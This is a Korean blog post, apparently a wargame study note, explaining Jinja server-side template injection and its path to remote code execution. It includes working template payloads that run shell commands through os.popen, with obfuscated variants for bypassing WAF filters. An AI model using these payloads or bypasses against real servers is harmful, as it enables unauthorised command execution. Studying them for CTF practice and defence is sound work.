P_Squirrel 2022. 10. 4. 00:02

Jinja SSTI 관련 워게임을 접할 일이 생겨 문제를 해결하기 위해 작성한 글입니다.

 

SSTI (Server-Side Template Injection)

먼저 SSTI란 Server-Side Template Injection 으로 템플릿을 사용한

웹 어플리케이션을 구동할 때 적절하게 사용자의 입력이 필터링되지 않고
템플릿 구문 삽입이 가능할 때 발생하는 공격입니다.


이전에 Python MRO를 정리한 글이 있습니다.

https://skysquirrel.tistory.com/80?category=1045478 

 

(Python) MRO - Method Resolution Order

본 글은 MOR이란 무엇인가 작성자가 학습하기 위해 자료를 검색해 정리한 글입니다. MRO이란? 파이썬은 기본적으로 상속을 지원하는 언어로써 다중상속을 지원하고 있습니다. 문제는 다중상속일

skysquirrel.tistory.com

python에서는 자동으로 MRO를 구성하거나 사용자가 우선순위를 정해주곤 합니다.


즉 템플릿을 사용하면 우선순위 하나하나를 열어보는 것이 가능하며 그것을 타고 타고

올라가서 RCE취약점으로 연결하는 것이 가능합니다.

 

취약점

먼저 여기서는 Jinja를 다룰거지만 어떠한 구조로 취약점을 파악하는가 부터 보겠습니다.

출처 :  https://portswigger.net/research/server-side-template-injection

템플릿인 ${ } 나 {{ }} 등을 사용해 7*7같은 간단한 계산연산을 시도해 보았을때

어떠한 템플릿으로 실행했을때 49라는 계산연산이 나오는가 등을 확인해

SSTI 취약점이 존재여부와 어떤 템플릿을 사용했는가를 파악할 수 있습니다.

 

이전에 RCE취약점으로 연계시켜 공격이 가능하다고 했는데

RCE는 원격 코드 실행을 말하며 일반적으로는 os.system 같은 쉘 명령어의 결과 출력이

안되지만 파이썬처럼 MRO 구조를 활용해 Class를 찾아 함수를 실행시키면결과출력이 가능해집니다.
이러한 취약점이 바로 RCE취약점이며 SSTI와 연계해 공격하는 것입니다.

 

필터링 우회

쉘 명령어 실행같은 위험한 취약점이기에 여러 필터링이 존재하며 이를 우회하는 방법이 존재합니다.

기본적으로는 아래와 같은 구조를 사용하게 되는데

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

 

waf에서 도트(.)의 필터링이 추가되면 [ ]를 사용해 우회합니다.

{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}


여기에 도트(.)와 언더바(_)를 필터링 한다면 언더바(_)를 \x5f로 우회

{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}

 

도트(.) , 언더바(_), 대괄호([]) 및 "|join"이 필터링 된다면 아래와 같은 구조로
필터링을 우회하는 것이 가능합니다.

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

 

만약 특정키워드 admin, guest, import등이 필터링된다면 16진수인 hax로 우회하거나
oct, unicode를 활용해 우회하는 것 또한 가능합니다.

 

결론

SSTI의 개념을 정확히 알고 이해한다면 Jinja뿐아니라 다른 템플릿을 사용하는 경우에도
페이로드를 만드는데 무리가 없을 것으로 예상되며
최신 정보를 자주 접하는 것이 필요할것 같습니다.


Reference

1. https://hackmd.io/@Chivato/HyWsJ31dI

2. https://core-research-team.github.io/2021-05-01/Server-Side-Template-Injection(SSTI)#3-ssti-%ED%95%84%ED%84%B0%EB%A7%81-%EC%9A%B0%ED%9A%8C-in-ctf---jinja2 

3. https://me2nuk.com/SSTI-Vulnerability/